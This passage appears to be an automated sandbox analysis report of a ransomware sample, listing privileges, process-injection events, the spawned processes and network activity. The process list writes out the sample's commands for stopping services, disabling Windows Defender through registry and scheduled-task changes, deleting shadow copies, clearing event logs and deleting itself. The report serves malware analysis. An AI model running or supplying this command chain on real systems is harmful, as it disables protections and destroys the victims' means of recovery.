Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2440 wrote to memory of 1808 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2440 wrote to memory of 1808 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2440 wrote to memory of 1808 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 1808 wrote to memory of 3924 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1808 wrote to memory of 3924 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1808 wrote to memory of 3924 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2440 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2440 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2440 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 1160 wrote to memory of 864 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1160 wrote to memory of 864 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1160 wrote to memory of 864 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2440 wrote to memory of 412 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2440 wrote to memory of 412 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2440 wrote to memory of 412 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 412 wrote to memory of 2496 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 412 wrote to memory of 2496 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 412 wrote to memory of 2496 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2440 wrote to memory of 2868 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2440 wrote to memory of 2868 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2440 wrote to memory of 2868 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2868 wrote to memory of 3828 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2868 wrote to memory of 3828 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2868 wrote to memory of 3828 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2440 wrote to memory of 3424 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2440 wrote to memory of 3424 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2440 wrote to memory of 3424 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 3424 wrote to memory of 1016 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 3424 wrote to memory of 1016 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 3424 wrote to memory of 1016 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2440 wrote to memory of 3648 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2440 wrote to memory of 3648 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2440 wrote to memory of 3648 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 3648 wrote to memory of 584 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 3648 wrote to memory of 584 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 3648 wrote to memory of 584 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2440 wrote to memory of 2812 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2440 wrote to memory of 2812 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2440 wrote to memory of 2812 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2812 wrote to memory of 1612 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2812 wrote to memory of 1612 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2812 wrote to memory of 1612 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2440 wrote to memory of 1452 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2440 wrote to memory of 1452 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2440 wrote to memory of 1452 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 1452 wrote to memory of 2788 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1452 wrote to memory of 2788 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1452 wrote to memory of 2788 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2440 wrote to memory of 600 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2440 wrote to memory of 600 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 2440 wrote to memory of 600 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\net.exe
PID 600 wrote to memory of 1212 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 600 wrote to memory of 1212 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 600 wrote to memory of 1212 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2440 wrote to memory of 2660 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\sc.exe
PID 2440 wrote to memory of 2660 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\sc.exe
PID 2440 wrote to memory of 2660 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\sc.exe
PID 2440 wrote to memory of 3796 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\sc.exe
PID 2440 wrote to memory of 3796 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\sc.exe
PID 2440 wrote to memory of 3796 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\sc.exe
PID 2440 wrote to memory of 988 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\sc.exe
PID 2440 wrote to memory of 988 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\sc.exe
PID 2440 wrote to memory of 988 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\sc.exe
PID 2440 wrote to memory of 1280 N/A C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe C:\Windows\SysWOW64\sc.exe

Processes

C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe

"C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe"

C:\Windows\SysWOW64\net.exe

net.exe stop "SamSs" /y

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\SysWOW64\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\SysWOW64\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\SysWOW64\net.exe

net.exe stop "UI0Detect" /y

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop "UI0Detect" /y

C:\Windows\SysWOW64\net.exe

net.exe stop "vmicvss" /y

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop "vmicvss" /y

C:\Windows\SysWOW64\net.exe

net.exe stop "VSS" /y

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\SysWOW64\net.exe

net.exe stop "wbengine" /y

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\SysWOW64\net.exe

net.exe stop "WebClient" /y

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\SysWOW64\net.exe

net.exe stop "UnistoreSvc_132f0" /y

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop "UnistoreSvc_132f0" /y

C:\Windows\SysWOW64\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\SysWOW64\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\SysWOW64\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\SysWOW64\sc.exe

sc.exe config "UI0Detect" start= disabled

C:\Windows\SysWOW64\sc.exe

sc.exe config "vmicvss" start= disabled

C:\Windows\SysWOW64\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\SysWOW64\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\SysWOW64\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\SysWOW64\sc.exe

sc.exe config "UnistoreSvc_132f0" start= disabled

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SysWOW64\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SysWOW64\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\SysWOW64\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\SysWOW64\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\SysWOW64\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\SysWOW64\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\SysWOW64\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\SysWOW64\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\SysWOW64\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\SysWOW64\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SysWOW64\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SysWOW64\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SysWOW64\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SysWOW64\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\SysWOW64\wevtutil.exe

wevtutil.exe cl system

C:\Windows\SysWOW64\wevtutil.exe

wevtutil.exe cl security

C:\Windows\SysWOW64\wevtutil.exe

wevtutil.exe cl application

C:\Windows\SysWOW64\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\SysWOW64\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\SysWOW64\notepad.exe

notepad.exe C:\rtZ9_HOW_TO_DECRYPT.txt

C:\Windows\SysWOW64\cmd.exe

cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe"

C:\Windows\SysWOW64\PING.EXE

ping.exe -n 5 127.0.0.1

Network

Country Destination Domain Proto
US 52.109.8.20:443 tcp
US 8.8.8.8:53 time.windows.com udp
NL 40.119.148.38:123 time.windows.com udp

Files

memory/1808-115-0x0000000000000000-mapping.dmp

memory/3924-116-0x0000000000000000-mapping.dmp

memory/1160-117-0x0000000000000000-mapping.dmp

memory/864-118-0x0000000000000000-mapping.dmp

memory/412-119-0x0000000000000000-mapping.dmp

memory/2496-120-0x0000000000000000-mapping.dmp

memory/2868-121-0x0000000000000000-mapping.dmp

memory/3828-122-0x0000000000000000-mapping.dmp

memory/3424-123-0x0000000000000000-mapping.dmp

memory/1016-124-0x0000000000000000-mapping.dmp

memory/3648-125-0x0000000000000000-mapping.dmp

memory/584-126-0x0000000000000000-mapping.dmp

memory/2812-127-0x0000000000000000-mapping.dmp

memory/1612-128-0x0000000000000000-mapping.dmp

memory/1452-129-0x0000000000000000-mapping.dmp

memory/2788-130-0x0000000000000000-mapping.dmp

memory/600-131-0x0000000000000000-mapping.dmp

memory/1212-132-0x0000000000000000-mapping.dmp

memory/2660-133-0x0000000000000000-mapping.dmp

memory/3796-134-0x0000000000000000-mapping.dmp

memory/988-135-0x0000000000000000-mapping.dmp

memory/1280-136-0x0000000000000000-mapping.dmp

memory/1248-137-0x0000000000000000-mapping.dmp

memory/1524-138-0x0000000000000000-mapping.dmp

memory/384-139-0x0000000000000000-mapping.dmp

memory/3032-140-0x0000000000000000-mapping.dmp

memory/2300-141-0x0000000000000000-mapping.dmp

memory/3316-142-0x0000000000000000-mapping.dmp

memory/3500-143-0x0000000000000000-mapping.dmp

memory/2960-144-0x0000000000000000-mapping.dmp

memory/1236-145-0x0000000000000000-mapping.dmp

memory/2700-146-0x0000000000000000-mapping.dmp

memory/3232-147-0x0000000000000000-mapping.dmp

memory/2288-148-0x0000000000000000-mapping.dmp

memory/1696-149-0x0000000000000000-mapping.dmp

memory/3928-150-0x0000000000000000-mapping.dmp

memory/348-151-0x0000000000000000-mapping.dmp

memory/692-152-0x0000000000000000-mapping.dmp

memory/640-153-0x0000000000000000-mapping.dmp

memory/420-154-0x0000000000000000-mapping.dmp

memory/1648-155-0x0000000000000000-mapping.dmp

memory/3284-156-0x0000000000000000-mapping.dmp

memory/1016-157-0x0000000000000000-mapping.dmp

memory/2804-158-0x0000000000000000-mapping.dmp

memory/3944-159-0x0000000000000000-mapping.dmp

memory/2600-160-0x0000000000000000-mapping.dmp

memory/1108-161-0x0000000000000000-mapping.dmp

memory/588-162-0x0000000000000000-mapping.dmp

memory/4008-163-0x0000000000000000-mapping.dmp

memory/920-164-0x0000000000000000-mapping.dmp

memory/1624-165-0x0000000000000000-mapping.dmp

memory/1532-166-0x0000000000000000-mapping.dmp

memory/1796-167-0x0000000000000000-mapping.dmp

memory/2172-168-0x0000000000000000-mapping.dmp

memory/4016-169-0x0000000000000000-mapping.dmp

memory/2900-170-0x0000000000000000-mapping.dmp

memory/1428-171-0x0000000000000000-mapping.dmp

memory/2092-172-0x0000000000000000-mapping.dmp

memory/1856-173-0x0000000000000000-mapping.dmp

memory/3216-174-0x0000000000000000-mapping.dmp

memory/2196-175-0x0000000000000000-mapping.dmp

memory/2836-176-0x0000000000000000-mapping.dmp

memory/3924-177-0x0000000000000000-mapping.dmp

memory/916-178-0x0000000000000000-mapping.dmp

memory/3264-180-0x0000000000FF0000-0x0000000000FF1000-memory.dmp

memory/3264-179-0x0000000000FF0000-0x0000000000FF1000-memory.dmp

memory/3264-181-0x00000000032B0000-0x00000000032E6000-memory.dmp

memory/3264-183-0x0000000003172000-0x0000000003173000-memory.dmp

memory/3264-182-0x0000000003170000-0x0000000003171000-memory.dmp

memory/3264-184-0x00000000078A0000-0x0000000007EC8000-memory.dmp

memory/3264-185-0x00000000072A0000-0x00000000072C2000-memory.dmp

memory/3264-186-0x0000000007340000-0x00000000073A6000-memory.dmp

memory/3264-187-0x00000000073B0000-0x0000000007416000-memory.dmp

memory/3264-188-0x0000000007420000-0x0000000007770000-memory.dmp

memory/3264-189-0x0000000008030000-0x000000000804C000-memory.dmp

memory/3264-190-0x0000000008270000-0x00000000082BB000-memory.dmp

